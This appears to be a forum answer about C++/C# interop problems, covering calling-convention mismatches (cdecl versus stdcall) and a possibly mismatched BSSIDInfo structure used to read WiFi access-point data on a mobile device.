C++ by default unless changed uses a caller( Cdecl ) calling convention. Your C++ code does not change the calling convention. Your C# code by default ( unless you change it ) will use a callee convention ( StdCall ).
While this might not be exactly the problem your having it still is technically incorrect. Even if you were to fix your current problem you likely will end up having a problem because of the calling convention.
I am going to guess your C# BSSIDInfo structure does not match the C++ structure. Why do the method StrToByteArray when all it does is GetBytes on the given string...
when the mobile tries to execute the
other two function that named as
refreshBSSID() and getBSSIDs() so what
is the problem ? or is there another
solution to get this information
I thought I knew the reason took another look and I was wrong.

Categories

Resources